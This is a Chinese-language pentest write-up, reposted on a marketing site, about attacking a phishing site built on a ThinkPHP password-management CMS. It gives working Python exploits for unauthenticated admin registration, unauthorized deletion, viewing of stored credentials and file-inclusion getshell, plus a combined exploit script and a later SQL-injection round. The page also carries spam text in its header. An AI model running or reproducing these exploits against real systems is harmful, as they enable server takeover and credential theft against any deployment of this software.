img


0x01 首先我們對目標進行目錄掃描,發(fā)現(xiàn)admin.php 進入發(fā)現(xiàn)是后臺界面,右擊查看網(wǎng)頁源碼




img


我們復制title到百度搜索一下




img


第" />

国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

15158846557 在線咨詢 在線咨詢
15158846557 在線咨詢
所在位置: 首頁 > 營銷資訊 > 網(wǎng)站運營 > 干貨技術(shù),記載釣魚網(wǎng)站的多次滲透

干貨技術(shù),記載釣魚網(wǎng)站的多次滲透

時間:2023-07-22 03:03:01 | 來源:網(wǎng)站運營

時間:2023-07-22 03:03:01 來源:網(wǎng)站運營

干貨技術(shù),記載釣魚網(wǎng)站的多次滲透:記一次對釣魚網(wǎng)站的多次滲透




img



0x01 首先我們對目標進行目錄掃描,發(fā)現(xiàn)admin.php 進入發(fā)現(xiàn)是后臺界面,右擊查看網(wǎng)頁源碼




img



我們復制title到百度搜索一下




img



第一個是官網(wǎng) 我把源碼下載,看了一遍,發(fā)現(xiàn)是一個叫 默笙密碼管理系統(tǒng)V2.0 這套源碼和釣魚網(wǎng)站一致




img



0x02 開始審計 這套cms是基于thinkphp的,所以我們直接跳到控制器開始審計 我們看到代碼都是以Model對象的方式調(diào)用數(shù)據(jù)庫查詢,所以基本不存在注入,所以我們看下有沒有邏輯繞過漏洞,或者是隱藏的接口 0x03 首先審計Admin的控制器




img



打開看了一下除了Login 其它的控制器均有登錄認證,所以我們先審計Login




img



我們看到有5個方法




img



我們先打開前2個方法 方法 login 是判斷數(shù)據(jù)庫中是否存在管理員,如果不存在則去reg注冊管理員




img



方法 reg 是判斷數(shù)據(jù)庫中是否存在管理員,如果不存在則進行注冊,所以login 和reg方法是沒有洞了




img



方法 loging 是登陸的,我們上文說了是代碼都是以Model對象的方式調(diào)用數(shù)據(jù)庫查詢,所以基本不存在注入,所以loging也沒洞




img



方法 regist 他首先判斷了提交方式是不是AJAX 我們只要在協(xié)議頭添加X-Requested-With:XMLHttpRequest就好了 然后我們看到兩個參數(shù) $data['username'] = I('post.p','','md5');$data['password'] = I('post.c','','md5'); 然后它竟然直接進行進行添加管理員了,不過這個管理員不是超級管理員,但是可以登錄后臺就已經(jīng)足夠了,下面有個漏洞是提權(quán)







漏洞一 任意管理員添加 exp python def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("//u8d26//u53f7//u5bc6//u7801//u521b//u5efa//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability /nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" 漏洞二 將普通管理員提權(quán)到超級管理員 我們看到驗證管理員的邏輯是這樣的,它先從session取出管理員的id然后進行查詢 判斷字段 is_all 是否等于1,如果是1則不是管理員,反之 我們只需要社工管理員讓他刪掉我們的賬戶,我們就可以跳過這個認證,成為超級管理員




img



漏洞三 越權(quán)刪除分類 直接將post過來的id進行刪除




img



exp python def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞四 越權(quán)刪除超級管理員 直接將post過來的id進行刪除,只能刪除超級管理員




img



exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越權(quán)刪除釣魚密碼 直接將post過來的id進行刪除,不能刪除含有普通管理員id的




img



exp python def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" 漏洞五 越權(quán)查看釣魚密碼 直接將get過來的id進行查詢




img



exp python def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"/s+/S+/s+value="(/S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"/s+/S+/s+value="(/S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result 漏洞六 GetShell 文件包含 前提是能在目標服務(wù)器上傳.html后綴的文件




img






img



exp python def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("//u4e3b//u9898//u5207//u6362//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result 0x04 利用以上漏洞我們已經(jīng)控制了目標服務(wù)器 我們看到這個釣魚網(wǎng)站有很多的模板,還注明了釣魚網(wǎng)站的作者,我們把它釣到的密碼進行刪除 完整 exp python import hashlib import random import requests import re domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"/s+/S+/s+value="(/S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"/s+/S+/s+value="(/S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result def DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability" def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("//u8d26//u53f7//u5bc6//u7801//u521b//u5efa//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability /nUserName: "+hashlib.md5(username.encode("utf-8")).hexdigest()+" PassWord: "+password else: return "Failure To Exploit A Vulnerability" def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("//u5220//u9664//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("//u4e3b//u9898//u5207//u6362//u6210//u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" if __name__=="__main__": print(RegAdmin())添加管理員 print(GetPass(1))獲取密碼 print(DelPass(1))刪除密碼 print(classdel(1))刪除分類 print(userdel(1))刪除管理員 print(uptemple("../test")) 文件包含




img






img






img



再次出擊 0x01 多天后管理員發(fā)覺了它的魚站被搞了,換了一套cms 掃描目錄,發(fā)現(xiàn)history目錄,打開發(fā)現(xiàn)后臺




img



0x02 單引號輸入報錯,是注入




img



不過sqlmap識別出來的是時間注入,我們利用它這個報錯將時間注入升級到布爾注入




img






img






img



0x03 解出md5,登陸后臺




img






img



學習計劃安排




我一共劃分了六個階段,但并不是說你得學完全部才能上手工作,對于一些初級崗位,學到第三四個階段就足矣~





關(guān)鍵詞:滲透,魚網(wǎng),技術(shù),干貨,記載

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點擊下載Chrome瀏覽器
關(guān)閉